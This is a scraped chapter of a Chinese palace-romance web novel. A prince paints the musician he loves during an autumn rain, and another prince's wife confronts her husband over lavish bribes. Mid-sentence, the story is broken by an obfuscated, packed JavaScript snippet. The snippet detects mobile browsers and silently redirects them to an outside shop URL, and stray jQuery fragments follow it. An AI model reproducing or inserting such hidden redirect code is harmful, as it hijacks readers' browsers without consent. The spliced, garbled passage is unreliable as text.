文趣网 > 其他小说 > 奉娇 > 14. 赏雨
    寒露刚过,秋雨连绵下了两三日未停,濛濛细雨丝丝缕缕从檐角垂落,滴答落进青砖缝里。

    王府被这场雨洗得格外透,荷塘里的残荷也在雨中显出别样的风情。

    阿椒和端王约好在水榭赏雨。

    赵廷棋坐在水榭西首的圈椅上,面前矮几铺了一张宣纸,手边放着砚台和颜料。阿椒坐在对面试弦。

    她今日穿了一件新做的清荷色对襟衫子,领口和袖缘缀着几枝银线绣成的细竹,底下是一条绀蓝色百迭裙,如瀑青丝只用一根白玉簪子挽着,旁的什么也没戴,素净得像一朵小茉莉花。

    阿椒弹着一支不知名的小调,悠扬舒缓。弹了一小会儿,她抬眼看了看对面的端王,见他正盯着自己,手上的弦拨错一个音,嗔了他一眼。

    赵廷棋被她嗔怒的表情看得动心,笑了笑,低头蘸墨绘卷。

    他画得慢,每一笔都经过细细思量。

    先勾勒水榭雨幕,再画美人抚琴。画到眉眼时,细细看了她好一会儿才敢下笔。

    阿椒弹到一处忽然又抬眼看他,见端王还盯着自己看,便抿嘴笑了一下,弹了一串碎碎的泛音,故意扰乱他的心思。

    赵廷棋无奈又宠溺,拿她没办法,只好等那串泛音干净了才继续执笔。

    画到衣裳时他特地留心,清荷色的褙子在雨中显出一种浅浅的灰绿,便往颜料中混了一点点石绿掺赭石,画出来有八九成像。

    画到那段白净似鹤的玉颈时,赵廷棋的笔尖悬了悬,没有落下去。

    她今日没戴他送的钗环首饰,只戴了一支小巧的白玉簪子,通身都是素雅出尘的韵味,可落在他眼里总是少了什么。

    赵廷棋想到前几日去见母妃。

    和妃很欢喜,逮着他问话家常。他答了几句便找个空档说:“母妃,儿子心里有了一个人。”

    和妃正剥橘子呢,听见这话,那双温温柔柔的眼一下子亮起来:“是哪家的闺秀?快告诉母妃,母妃这就替你打听去。”

    他瞧着母妃那副热切的模样,脑海中把话过了两遍,到底还是说了:“不是哪家的闺秀。是儿子府上的乐姬。”

    和妃的手慢慢放下了,橘子搁在白瓷碟里半晌没有动。她的表情既不恼怒也没失望,沉默了好一会儿才开口,声音依旧是温温的,却比方才淡了许多:“你想给她一个名分也不是不行。等正妃过了门,抬为侍妾,也不算太出格。”

    他当即便否了,把心里想了几年的那番话说了出来:“儿子不想纳妾,只想守着心爱之人过日子。父皇的后宫有三千佳丽七十二嫔御,您等着父皇的那些年,儿子都看在眼里。儿不愿让她也过这样的日子。”

    和妃又惊又急:“上回才挡了你父皇再给你赐婚的念头,这回又来说这话。你让母妃怎么回你父皇?容我再想想,这事急不得。”

    母子俩不欢而散。

    “殿下。”阿椒弹完一曲,探身看他,眼神里带着一点好奇和关切,把赵廷棋从沉思里拉了回来,“您想什么呢?这么入神?”

    赵廷棋将那桩事压下心间,开口的语气和寻常没什么两样:“没什么,突然想到一桩案子的细节。”

    他的目光又停在阿椒素净的衣衫上,忍不住问道:“我送你的首饰怎么都不见你戴?样式不喜欢么?”

    阿椒闻言,神色间带着几分犹豫,想了想还是老实说了:“殿下送的礼物太贵重了。我不过是个婢女,戴那些太招摇。”

    赵廷棋听了这话,心里像是被人拿针扎了一下。

    画中抚琴的美人素雅脱俗,可他知道,她本可以不必这么素净的。他送那些东西,原本是想阿椒穿戴得高兴些,想让她知道自己在他心里不一样。

    可她还是因为身份有别,不敢戴,将珍珠玉石束之高阁。

    “在王府里戴着玩儿,没人敢说什么。”

    漕运大案正在收尾,只待结案便能呈至御前。赵廷棋打算届时以功请旨,恳求父皇赐婚。

    ————

    彼时,肃王府内。

    肃王妃将账本合上,半晌没再翻开。

    “怎么还是这个数?”肃王妃问面前的管事,“前两月我亲自核减各处用度,怎么总账还是比前月多出这些?”

    管事出了一身薄汗,头快低得看不见了。

    “回王妃的话,府里能省的都省了,可王爷那头......”看看王妃的脸色,管事硬

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17928264|213568||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着头皮继续往下说:“宫里上下的孝敬,外头几处要紧衙门的打点,这些半分也少不得啊。单单是给贵嫔娘娘的孝敬,就比往常多了两成。王爷吩咐过,说是天冷了,娘娘宫里要添几件狐裘,光这一项就......”

    肃王妃摆手止住,眉头已经拧起来。她没再说什么,只拿着账册起身去寻肃王。

    到了东院书房门口,小厮见是她,连忙打起帘子。

    肃王正歪在紫檀圈椅里,手中把玩一柄玉如意,对面坐着的幕僚见了肃王妃便识趣地退了出去。

    肃王抬起眼,见王妃手里拿着本账簿,脸色便不怎么好看:“怎么了?”

    肃王妃将账册递给他看:“这是上个月府里的开销,一万二千两银子。母妃叮嘱过,叫咱们这段时间收敛锋芒,用度上节俭些,别叫人拿了话柄。你怎么还是这般大手大脚的?

    单是给宫里的孝敬就高达三千两银子,咱一年的俸禄才多少?”

    他瞟了眼账本,连翻都没翻,漫不经心端起茶盏:“如今是什么时候?还计较这些银钱?父皇身子虽然还撑得住,可储位空选这些年,朝中风向一日三变。我这个做长子的,若在宫中没有耳目,在朝上没有路子,怎么争得赢?”又抿了口茶,语气不屑,“至于银子,王家那头按时孝敬着,你操什么心。”

    肃王妃听到王家,压低声音急道:“你还敢提王家的银子。母妃递了话出来,陛下把漕运案交给端王查办,叫咱们这段时日千万不要和王家有任何银钱往来,以免被顺藤摸瓜。你倒好,私下里还在接他们的孝敬?”

    肃王嗤笑她胆子小:“母妃在宫里待久了,只知道求稳。可眼下是什么局面?这时候不抓紧笼络人,等着去一个又远又偏的封地受苦?”说罢又给王妃吃颗定心丸,“放心,漕运的案子最多查办几个官员,牵连不到我们头上。”

    王妃看着他这副笃定的模样,心里还是有些不安生。成婚十年,她太了解自己的丈夫。出生就是长子,先帝朝就颇受宠爱,从小到大没栽过跟头,觉得天底下的事都尽在掌握。

    她还想说些规劝的话语,可看着肃王显然不耐烦的神情,还是把话咽了下去,改日将账本拿进宫向丽贵嫔告状。